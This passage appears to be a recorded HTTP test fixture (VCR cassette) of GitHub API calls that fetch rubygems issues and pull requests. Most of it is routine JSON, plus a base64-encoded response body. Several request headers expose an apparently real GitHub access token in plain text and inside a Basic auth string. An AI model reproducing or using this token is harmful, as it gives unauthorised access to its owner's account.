http://rubyforge.org/tracker/index.php?func=detail&aid=29243&group_id=126&atid=578\n"},{"url":"https://api.github.com/repos/rubygems/rubygems/issues/108","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/108/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/108/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/108/events","html_url":"https://github.com/rubygems/rubygems/issues/108","id":1058132,"number":108,"title":"$ gem install *.gem should do topo sort","user":{"login":"zenspider","id":9832,"avatar_url":"https://avatars3.githubusercontent.com/u/9832?v=4","gravatar_id":"","url":"https://api.github.com/users/zenspider","html_url":"https://github.com/zenspider","followers_url":"https://api.github.com/users/zenspider/followers","following_url":"https://api.github.com/users/zenspider/following{/other_user}","gists_url":"https://api.github.com/users/zenspider/gists{/gist_id}","starred_url":"https://api.github.com/users/zenspider/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zenspider/subscriptions","organizations_url":"https://api.github.com/users/zenspider/orgs","repos_url":"https://api.github.com/users/zenspider/repos","events_url":"https://api.github.com/users/zenspider/events{/privacy}","received_events_url":"https://api.github.com/users/zenspider/received_events","type":"User","site_admin":false},"labels":[{"id":112219,"url":"https://api.github.com/repos/rubygems/rubygems/labels/category:%20install","name":"category: install","color":"0b02e1","default":false},{"id":307881011,"url":"https://api.github.com/repos/rubygems/rubygems/labels/status:%20ready","name":"status: ready","color":"fef2c0","default":false},{"id":112230,"url":"https://api.github.com/repos/rubygems/rubygems/labels/type:%20bug%20report","name":"type: bug report","color":"bfe5bf","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2011-06-14T23:08:09Z","updated_at":"2016-06-09T09:20:11Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"At least, I''ve had hints that it doesn''t... we don''t have a test for it, that''s for sure.\n\nFrom: http://rubyforge.org/tracker/index.php?func=detail&aid=29231&group_id=126&atid=578\n"}]' http_version: recorded_at: Sat, 06 Jan 2018 15:00:32 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n pulls(last: 1, orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:33 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4972' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.029126' X-Github-Request-Id: - A3FA:4D95:F48E55:1C8564B:5A50E491 body: encoding: ASCII-8BIT string: '{"data":null,"errors":[{"message":"Field ''pulls'' doesn''t exist on type ''Repository''","locations":[{"line":3,"column":5}]}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:33 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/pulls body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:33 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4294' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"092d2b60fd6ba9a6c6e8ad5eb28374f1" X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.551793' X-Github-Request-Id: - C6CE:4D95:F48E5E:1C85662:5A50E491 body: encoding: ASCII-8BIT string: !binary |- W3sidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTM5IiwiaWQiOjE2MDgyOTExNiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMTM5IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMTM5LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMTM5LnBhdGNoIiwiaXNzdWVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEzOSIsIm51bWJlciI6MjEzOSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwidGl0bGUiOiJUZXN0IGZpeGVzIC0gZml4IGludGVybWl0dGVudCB0ZXN0cywgYWxsIHRlc3RpbmcgZG9uZSB3aXRob3V0IGhvZSIsInVzZXIiOnsibG9naW4iOiJNU1AtR3JlZyIsImlkIjoxNTA4MTE3NiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTUwODExNzY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vTVNQLUdyZWciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJib2R5IjoiIyBEZXNjcmlwdGlvbjpcclxuSSByZWNlbnRseSBjbG9zZWQgW1BSIDIxMzVdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxMzUpIGZvciB0ZXN0IHVwZGF0ZXMsIHNpbmNlIEkga25ldyBJIHdhcyBtaXNzaW5nIHNvbWV0aGluZy5cclxuXHJcbkkgd2FzIGluY29ycmVjdGx5IGFzc3VtaW5nIHRoYXQgZGVmYXVsdCBzcGVjIGZpbGVzIHdlcmUgYmVpbmcgbG9hZGVkIGludG8gYEZpbGUuam9pbihAZ2VtaG9tZSwgXCJzcGVjaWZpY2F0aW9uc1wiLCBcImRlZmF1bHRcIilgLCBidXQgdGhleSBhcmUgbG9hZGVkIGludG8gYW5vdGhlciBkaXJlY3RvcnkuICBTbywgYWZ0ZXIgcmVhbGl6aW5nIHRoYXQsIEkgcHJvY2VlZGVkIHdpdGggY2hhbmdlcyAmIHRlc3RpbmcuXHJcblxyXG5JJ3ZlIHRlc3RlZCBpdCBxdWl0ZSBhIGZldyB0aW1lcywgZm91bmQgb25lIGFkZGl0aW9uYWwgaXNzdWUsIGFsb25nIHdpdGggdGhlIHVwZGF0ZSB0byBNaW5pdGVzdCA1LjExIChub3cgZml4ZWQgd2l0aCA1LjExLjEpLlxyXG5cclxuVGhpcyBQUiBkb2VzIHRoZSBmb2xsb3dpbmc6XHJcblxyXG4xLiBTZWVtcyB0byByZW1vdmUvZml4IGFsbCBpbnRlcm1pdHRlbnQgZmFpbHVyZXMuICBJIGFzc3VtZSBtb3N0IGFyZSBkdWUgdG8gdGVzdCBsZWFrcywgYnV0IEkgZGlkbid0IHNldCBhIGdvYWwgb2YgbWFraW5nIHN1cmUgSSBmb3VuZCB0aGUgc291cmNlIG9mICoqYWxsIGxlYWtzKiouICAgIElPVywgc2hvdWxkIHRlc3QgbGVha3MgYmUgZml4ZWQgaW4gdGhlIHNvdXJjZSBvciB0aGUgdGVzdHMgYWZmZWN0ZWQgYnkgdGhlbT8gIFNvbWUgbWlnaHQgc2F5IG9ubHkgdGhlIHNvdXJjZSwgb3RoZXIgbW9yZSBwcmFnbWF0aWMgdHlwZXMgbWlnaHQgc2F5IGJvdGguICBSZWdhcmRsZXNzLCBJIGJlbGlldmUgSSd2ZSBydW4gdGhlIHRlc3RzIG9mdGVuIGVub3VnaCB0byBrbm93IHRoYXQgYSBjb21iaW5hdGlvbiBvZiBjbGVhbmluZyBsZWFraW5nIHRlc3RzIGFuZCBjbGVhbmluZyBhZmZlY3RlZCB0ZXN0cyBoYXMgYmVlbiBkb25lLlxyXG5cclxuMi4gUmVtb3ZlcyBob2UgZnJvbSBUcmF2aXMgUkcgdGVzdGluZywgbWF0Y2hpbmcgQXBwdmV5b3IgYW5kIHJ1YnkvcnVieS5cclxuXHJcbjMuIHRlc3RfY2FzZS5yYiAtIEFkZHMgYSBtZXRob2QgYHV0aWxfY2xlYXJfZ2Vtc3BlY3NgLCB3aGljaCBjbGVhcnMgc3RhbmRhcmQgYW5kIGRlZmF1bHQgZ2Vtc3BlYyBmaWxlcy4gIEFsc28sIGFkZGVkIGNsZWFyaW5nIG9mIGRlZmF1bHQgZ2Vtc3BlYyBmaWxlcyB0byBgdXRpbF9jbGVhcl9nZW1zYC5cclxuXHJcbjQuIGBCaW5kaW5nLnNvdXJjZV9sb2NhdGlvbmAgd2FybmluZ3MgaW4gaGVhZC90cnVuayBhcmUgZml4ZWQgYnkgW2J1bmRsZXIgUFIgIzYyMzddKGh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyL2J1bmRsZXIvcHVsbC82MjM3KS4gIE9uIG15IGZvcmssIEkgYWRkZWQgYSBwYXRjaCBmb3IgdGhpcyB0byBteSBBcHB2ZXlvciB0ZXN0aW5nLCBhbmQgYWxsIHdhcm5pbmdzIGRpc2FwcGVhcmVkLlxyXG5cclxuNS4gRm9yIGV4YW1wbGUgcmVzdWx0cywgc2VlIG15IGZvcmsncyBbVHJhdmlzIGJ1aWxkc10oaHR0cHM6Ly90cmF2aXMtY2kub3JnL01TUC1HcmVnL3J1YnlnZW1zL2J1aWxkcyksIG5vdGUgdGhhdCBJIGJ5cGFzc2VkIHRoZSBidW5kbGVyIHRlc3RpbmcuXHJcblxyXG5fX19fX19fX19fX19fX1xyXG5cclxuIyBUYXNrczpcclxuXHJcbi0gW1hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxyXG4tIFsgXSBXcml0ZSB0ZXN0c1xyXG4tIFtYXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXHJcbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwiY3JlYXRlZF9hdCI6IjIwMTgtMDEtMDNUMDA6MTc6MDVaIiwidXBkYXRlZF9hdCI6IjIwMTgtMDEtMDVUMDI6NDU6MjNaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiIyMjEzODVlOGI0Y2IwOGJmNzRlYTA1MWE3MzY1MGRhZWJjYWFiYWEzIiwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sInJlcXVlc3RlZF9yZXZpZXdlcnMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTM5L2NvbW1pdHMiLCJyZXZpZXdfY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTM5L2NvbW1lbnRzIiwicmV2aWV3X2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMzkvY29tbWVudHMiLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzM3NWY1MjFlNWZkZTExNzA3MjVjMWRmOWEwMDJhODY3ODg4ZjJkNzMiLCJoZWFkIjp7ImxhYmVsIjoiTVNQLUdyZWc6dGVzdF9maXhlcyIsInJlZiI6InRlc3RfZml4ZXMiLCJzaGEiOiIzNzVmNTIxZTVmZGUxMTcwNzI1YzFkZjlhMDAyYTg2Nzg4OGYyZDczIiwidXNlciI6eyJsb2dpbiI6Ik1TUC1HcmVnIiwiaWQiOjE1MDgxMTc2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTA4MTE3Nj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9NU1AtR3JlZyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjcwMjgyMzQyLCJuYW1lIjoicnVieWdlbXMiLCJmdWxsX25hbWUiOiJNU1AtR3JlZy9ydWJ5Z2VtcyIsIm93bmVyIjp7ImxvZ2luIjoiTVNQLUdyZWciLCJpZCI6MTUwODExNzYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE1MDgxMTc2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL01TUC1HcmVnIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL01TUC1HcmVnL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOnRydWUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL01TUC1HcmVnL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvTVNQLUdyZWcvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9NU1AtR3JlZy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDE2LTEwLTA3VDIwOjU3OjI5WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTMxVDAzOjM2OjIyWiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDNUMDA6MDY6NTJaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vTVNQLUdyZWcvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOk1TUC1HcmVnL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9NU1AtR3JlZy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL01TUC1HcmVnL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwOi8vcnVieWdlbXMub3JnIiwic2l6ZSI6MTQyMTEsInN0YXJnYXplcnNfY291bnQiOjAsIndhdGNoZXJzX2NvdW50IjowLCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjpmYWxzZSwiaGFzX3Byb2plY3RzIjp0cnVlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd